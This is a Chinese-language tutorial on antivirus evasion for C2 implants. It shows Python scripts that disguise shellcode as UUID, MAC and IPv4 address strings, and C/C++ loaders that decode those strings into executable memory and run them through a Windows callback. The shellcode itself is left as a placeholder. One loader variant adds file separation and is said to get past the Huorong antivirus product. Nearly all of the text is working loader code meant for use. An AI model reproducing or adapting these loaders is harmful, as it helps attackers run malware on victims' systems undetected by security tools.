免杀对抗——第一百五十九天 C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值 前置知识 之前我们可能讲得更多的都是针对Loader的一个混淆,然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换 我们常见的可以将ShellCode转换为UUID、MAC、IPv4、IPv6等等,反正总的目的就是让杀毒软件不认识这个东西 C2远控 - UUID地址-ShellCode转换 参考文章:CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台 我们可以将ShellCode转换为UUID,让其加载到内存,UUID(通用唯一识别码)是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。 我们可以通过Python脚本去生成UUID形式的ShellCode: from uuidimport UUIDimport sysif len ( sys. argv) < 2 : print ( "Usage: %s <shellcode_file>" % sys. argv[ 0 ] ) sys. exit( 1 ) with open ( sys. argv[ 1 ] , "rb" ) as f: chunk= f. read( 16 ) print ( "{}const char* uuids[] =" . format ( ' ' * 4 ) ) print ( " {" ) while chunk: if len ( chunk) < 16 : padding= 16 - len ( chunk) chunk= chunk+ ( b"\x90" * padding) print ( "{}\"{}\"" . format ( ' ' * 8 , UUID( bytes_le= chunk) ) ) break print ( "{}\"{}\"," . format ( ' ' * 8 , UUID( bytes_le= chunk) ) ) chunk= f. read( 16 ) print ( " };" )
# include <Windows.h> # include <Rpc.h> # include <iostream> # pragma comment ( lib, "Rpcrt4.lib" ) using namespace std; const char * uuids[ ] = { "xxx" } ; int main ( ) { HANDLE hHeap= HeapCreate ( HEAP_CREATE_ENABLE_EXECUTE, 0 , 0 ) ; void * hmem= HeapAlloc ( hHeap, 0 , 0x1000 ) ; printf ( "%p\n" , hmem) ; DWORD_PTR ptr= ( DWORD_PTR) hmem; int init= sizeof ( uuids) / sizeof ( uuids[ 0 ] ) ; for ( int i= 0 ; i< init; i++ ) { RPC_STATUS status= UuidFromStringA ( ( RPC_CSTR) uuids[ i] , ( UUID* ) ptr) ; if ( status!= RPC_S_OK) { printf ( "UuidFromStringA != RPC_S_OK\n" ) ; CloseHandle ( hmem) ; return - 1 ; } ptr+= 16 ; } printf ( "[+] HexDump: \n" ) ; for ( int i= 0 ; i< init* 16 ; i++ ) { printf ( "%02X " , ( ( unsigned char * ) hmem) [ i] ) ; //((unsigned char*)hmem)[i] ^= 0x39; } EnumSystemLocalesA ( ( LOCALE_ENUMPROCA) hmem, 0 ) ; CloseHandle ( hmem) ; return 0 ; } 当然只用这个肯定是没啥用的,我们还需要进行混淆,采用之前的一些技术结合起来才能过基本的杀毒软件,比如这里简单混淆一下代码,然后加个文件分离就可以过火绒了: # include <Windows.h> # include <Rpc.h> # include <stdio.h> # pragma comment ( lib, "Rpcrt4.lib" ) int main ( ) { // 从文件读取UUID数组(文件分离) FILE* f= fopen ( "uuids.dat" , "r" ) ; if ( ! f) return 1 ; char uuid[ 64 ] ; int count= 0 ; while ( fgets ( uuid, sizeof ( uuid) , f) ) { if ( uuid[ 0 ] == '\n' ) continue ; count++ ; } fseek ( f, 0 , SEEK_SET ) ; // 分配内存 void * p= VirtualAlloc ( NULL , count* 16 , MEM_COMMIT, PAGE_EXECUTE_READWRITE) ; DWORD_PTR d= ( DWORD_PTR) p; // 加载UUID while ( fgets ( uuid, sizeof ( uuid) , f) ) { if ( uuid[ 0 ] == '\n' ) continue ; uuid[ 36 ] = 0 ; // 移除换行符 UuidFromStringA ( ( RPC_CSTR) uuid, ( UUID* ) d) ; d+= 16 ; } fclose ( f) ; // 执行 EnumSystemLocalesA ( ( LOCALE_ENUMPROCA) p, 0 ) ; VirtualFree ( p, 0 , MEM_RELEASE) ; return 0 ; }
C2远控 - MAC地址-ShellCode转换 同理,我们也可以将ShellCode混淆为MAC地址,使用如下脚本: from macaddressimport MACimport sysif len ( sys. argv) < 2 : print ( "Usage: %s <shellcode_file>" % sys. argv[ 0 ] ) sys. exit( 1 ) with open ( sys. argv[ 1 ] , "rb" ) as f: chunk= f. read( 6 ) print ( "{}const char* MAC[] =" . format ( ' ' * 4 ) ) print ( " {" ) while chunk: if len ( chunk) < 6 : padding= 6 - len ( chunk) chunk= chunk+ ( b"\x90" * padding) print ( "{}\"{}\"" . format ( ' ' * 8 , MAC( chunk) ) ) break print ( "{}\"{}\"," . format ( ' ' * 8 , MAC( chunk) ) ) chunk= f. read( 6 ) print ( " };" )
# include <Windows.h> # include <stdio.h> # include <Ip2string.h> # pragma comment ( lib, "Ntdll.lib" ) # ifndef NT_SUCCESS # define NT_SUCCESS ( Status) ( ( ( NTSTATUS) ( Status) ) >= 0 ) # endif # define _CRT_SECURE_NO_WARNINGS # pragma warning ( disable: 4996 ) int Error ( const char * msg) { printf ( "%s (%u)" , msg, GetLastError ( ) ) ; return 1 ; } int main ( ) { const char * MAC[ ] = { xxx} ; int rowLen= sizeof ( MAC) / sizeof ( MAC[ 0 ] ) ; PCSTR Terminator= NULL ; DL_EUI48* LpBaseAddress2= NULL ; NTSTATUS STATUS; HANDLE hHeap= HeapCreate ( HEAP_CREATE_ENABLE_EXECUTE, 0 , 0 ) ; void * hmem= HeapAlloc ( hHeap, 0 , 0x1000 ) ; DWORD_PTR ptr= ( DWORD_PTR) hmem; for ( int i= 0 ; i< rowLen; i++ ) { STATUS= RtlEthernetStringToAddressA ( ( PCSTR) MAC[ i] , & Terminator, ( DL_EUI48* ) ptr) ; if ( ! NT_SUCCESS ( STATUS) ) { printf ( "[!] RtlEthernetStringToAddressA failed in %s result %x(% u)" , MAC[ i] , STATUS, GetLastError ( ) ) ; return FALSE; } ptr+= 6 ; } printf ( "[+] HexDump: \n" ) ; for ( int i= 0 ; i< 6 * rowLen; i++ ) { printf ( "%02X " , ( ( unsigned char * ) hmem) [ i] ) ; } EnumSystemLocalesA ( ( LOCALE_ENUMPROCA) hmem, 0 ) ; CloseHandle ( hmem) ; return 0 ; } 但是这个也是过不了任何杀毒软件,还是需要进行混淆,这里就不细讲 C2远控 - IPv4地址-ShellCode转换 还是一样,可以通过下面的代码将ShellCode转换为IPv4的地址: from ipaddressimport ip_addressimport sysif len ( sys. argv) < 2 : print ( "Usage: %s <shellcode_file>" % sys. argv[ 0 ] ) sys. exit( 1 ) with open ( sys. argv[ 1 ] , "rb" ) as f: chunk= f. read( 4 ) print ( "{}const char* IPv4s[] =" . format ( ' ' * 4 ) ) print ( " {" ) while chunk: if len ( chunk) < 4 : padding= 4 - len ( chunk) chunk= chunk+ ( b"\x90" * padding) print ( "{}\"{}\"" . format ( ' ' * 8 , ip_address( chunk) ) ) break print ( "{}\"{}\"," . format ( ' ' * 8 , ip_address( chunk) ) ) chunk= f. read( 4 ) print ( " };" )
# include <Windows.h> # include <stdio.h> # include <Ip2string.h> # pragma comment ( lib, "Ntdll.lib" ) # ifndef NT_SUCCESS # define NT_SUCCESS ( Status) ( ( ( NTSTATUS) ( Status) ) >= 0 ) # endif int main ( ) { const char * IPv4s[ ] = { xxx} ; PCSTR Terminator= NULL ; PVOID LpBaseAddress= NULL ; PVOID LpBaseAddress2= NULL ; NTSTATUS STATUS; HANDLE hHeap= HeapCreate ( HEAP_CREATE_ENABLE_EXECUTE, 0 , 0 ) ; void * hmem= HeapAlloc ( hHeap, 0 , 0x1000 ) ; DWORD_PTR ptr= ( DWORD_PTR) hmem; int init= sizeof ( IPv4s) / sizeof ( IPv4s[ 0 ] ) ; for ( int i= 0 ; i< init; i++ ) { RPC_STATUS STATUS= RtlIpv4StringToAddressA ( ( PCSTR) IPv4s[ i] , FALSE, & Terminator, ( in_addr* ) ptr) ; if ( ! NT_SUCCESS ( STATUS) ) { printf ( "[!] RtlIpv6StringToAddressA failed in %s result %x (%u)" , IPv4s[ i] , STATUS, GetLastError ( ) ) ; return FALSE; } ptr+= 4 ; } printf ( "[+] HexDump: \n" ) ; for ( int i= 0 ; i< init* 4 ; i++ ) { printf ( "%02X " , ( ( unsigned char * ) hmem) [ i] ) ; } EnumSystemLocalesA ( ( LOCALE_ENUMPROCA) hmem, 0 ) ; CloseHandle ( hmem) ; return 0 ; } 这也没啥好说的,反正主要的原理就是shellcode -> 加密/编码 -> 混淆后的shellcode,这三个技术与之前什么Base64、XOR、Rot13等等其实没什么本质上的区别